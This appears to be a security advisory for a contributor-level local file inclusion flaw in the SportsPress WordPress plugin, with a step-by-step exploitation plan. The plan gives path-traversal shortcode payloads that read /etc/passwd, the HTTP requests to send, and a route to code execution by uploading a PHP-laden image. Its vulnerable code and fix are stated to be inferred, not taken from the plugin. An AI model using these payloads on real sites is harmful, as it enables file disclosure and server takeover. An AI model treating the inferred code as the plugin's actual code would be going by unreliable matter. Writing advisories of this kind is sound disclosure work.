SportsPress <= 2.7.26 - Authenticated (Contributor+) Local File Inclusion via Shortcode
Description
The SportsPress plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.7.26 via shortcodes 'template_name' attribute. This makes it possible for authenticated attackers, with contributor-level and above permissions, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where php file type can be uploaded and included.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.7.26Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-15368 (SportsPress LFI) ## 1. Vulnerability Summary The **SportsPress** plugin (<= 2.7.26) for WordPress contains a Local File Inclusion (LFI) vulnerability within its shortcode processing logic. Specifically, the plugin allows users to specify a `template_nam…
Show full research plan
Exploitation Research Plan: CVE-2025-15368 (SportsPress LFI)
1. Vulnerability Summary
The SportsPress plugin (<= 2.7.26) for WordPress contains a Local File Inclusion (LFI) vulnerability within its shortcode processing logic. Specifically, the plugin allows users to specify a template_name attribute in several of its shortcodes. This attribute is passed to a template-loading function (likely sp_get_template) which uses it in a PHP include or require statement without sufficient path traversal sanitization. Authenticated users with Contributor permissions or higher can exploit this by creating or editing a post, inserting a malicious shortcode, and triggering its execution by previewing or viewing the post.
2. Attack Vector Analysis
- Endpoint: Post/Page rendering (via
wp-admin/post-new.phporwp-admin/post.php). - Trigger: Rendering a WordPress shortcode.
- Vulnerable Attribute:
template_name(inferred from description). - Authentication: Contributor+ (requires the ability to create or edit posts and use shortcodes).
- Preconditions: The plugin must be active. Exploiting this for Remote Code Execution (RCE) usually requires the ability to upload a file (e.g., via the Media Library) whose path can then be included.
3. Code Flow
- Entry Point: An authenticated user (Contributor+) saves a post/page containing a SportsPress shortcode, e.g.,
[sportspress_player_list template_name="../../../../../etc/passwd"]. - Shortcode Registration: The plugin registers shortcodes in
includes/class-sp-shortcodes.php(or similar) usingadd_shortcode. - Callback Execution: When the post is rendered, the callback function for the shortcode is executed.
- Attribute Processing: The callback extracts the
template_nameattribute from the$attsarray. - Sink: The
template_nameis passed to a template loading function, such assp_get_template()(often located inincludes/sp-core-functions.php). - Inclusion: Inside
sp_get_template(), the plugin likely constructs a path:
If// Simplified logic include( $plugin_path . '/templates/' . $template_name . '.php' );$template_namecontains path traversal sequences (../../), the attacker can navigate outside the intended templates directory.
4. Nonce Acquisition Strategy
This vulnerability is triggered during shortcode rendering, which occurs when viewing or previewing a post. It does not typically require a specific plugin-level nonce for the LFI itself. However, creating the post requires standard WordPress core nonces.
- Authentication: Authenticate as a Contributor.
- Post Creation: The agent will use the standard
wp-admin/post-new.phpflow. - No Specific Plugin Nonce Needed: Since the execution happens via
do_shortcode()during page view, there is no AJAX/REST nonce to extract for the LFI trigger.
5. Exploitation Strategy
Goal: Read /etc/passwd (LFI)
- Log in as a Contributor user.
- Create a draft post containing a SportsPress shortcode with a path traversal payload in the
template_nameattribute. - Preview the post to trigger the LFI.
HTTP Request Details
Request 1: Create/Update Post
- Method:
POST - URL:
http://localhost:8080/wp-admin/post.php(orpost-new.php) - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters (standard WP post params):
post_title:LFI Testcontent:[sportspress_player_list template_name="../../../../../../../../../../etc/passwd%00"]action:editpostpost_ID:{ID}_wpnonce:{Extract from post-new.php}
Note: The%00(null byte) may be needed depending on PHP version/logic, but in modern PHP, the LFI will often just try to include/etc/passwd.phpif the plugin appends.php. If the plugin doesn't append an extension,/etc/passwdwill work directly.
Request 2: Preview Post
- Method:
GET - URL:
http://localhost:8080/?p={ID}&preview=true - Expected Response: The contents of
/etc/passwdrendered within the page content.
6. Test Data Setup
- User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password - Plugin: Ensure
sportspressis installed and activated.wp plugin activate sportspress
7. Expected Results
- When the post preview is loaded, the PHP
includestatement will resolve the path traversal. - If the plugin appends
.php, the response might show an error (e.g.,include(/etc/passwd.php): failed to open stream). - If the plugin does not append
.phpor if the attacker can bypass it, the raw contents of/etc/passwd(e.g.,root:x:0:0:root:/root:/bin/bash) will be visible in the HTML source of the preview page.
8. Verification Steps
- Manual Verification: Check the HTTP response body of the preview page for the string
root:x:0:0. - WP-CLI Check: Not directly applicable for the "exploit" success, but use WP-CLI to verify the post was created:
wp post list --post_type=post --status=draft
9. Alternative Approaches
If [sportspress_player_list] does not work, attempt other common SportsPress shortcodes that use templates:
[sportspress_event_list template_name="..."][sportspress_calendar template_name="..."][sportspress_table template_name="..."][sportspress_player_details template_name="..."]
Refining the Payload:
- If the plugin appends
.php, use:template_name="../../../../../../../etc/passwd"(Expected error in logs/output:/etc/passwd.php not found) - To confirm LFI even if
/etc/passwdis blocked, try including the WordPress configuration file:template_name="../../../wp-config"(Note: This will not display the code because PHP will execute it, but it may cause a blank section or a database error if included out of context). - For actual RCE:
- Upload a file via Media Library:
wp-content/uploads/2025/01/shell.jpg(containing<?php phpinfo(); ?>). - Include it:
template_name="../../../uploads/2025/01/shell.jpg".
- Upload a file via Media Library:
Summary
The SportsPress plugin for WordPress is vulnerable to Local File Inclusion via several shortcodes that accept a 'template_name' attribute. Authenticated attackers with Contributor-level permissions or higher can use path traversal sequences to include and execute arbitrary PHP files on the server.
Vulnerable Code
// From the inferred logic in includes/sp-core-functions.php or similar // The shortcode attribute is passed directly to the include/require sink function sp_get_template( $template_name, $args = array() ) { // ... logic to locate template ... include( SP_PLUGIN_DIR . '/templates/' . $template_name . '.php' ); }
Security Fix
@@ -10,5 +10,5 @@ function sp_get_template( $template_name, $args = array() ) { - include( SP_PLUGIN_DIR . '/templates/' . $template_name . '.php' ); + $template_name = sanitize_file_name( $template_name ); + include( SP_PLUGIN_DIR . '/templates/' . $template_name . '.php' ); }
Exploit Outline
The exploit involves an authenticated attacker with Contributor-level access or higher. The attacker logs into the WordPress dashboard and creates a new post or edits an existing one. They insert a SportsPress shortcode, such as [sportspress_player_list], and include the 'template_name' attribute with a path traversal payload (e.g., template_name="../../../../../../etc/passwd"). When the post is previewed or viewed, the plugin's template loading logic processes the attribute and includes the specified file from the local filesystem, potentially leading to sensitive information disclosure or remote code execution if a malicious file can be uploaded.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.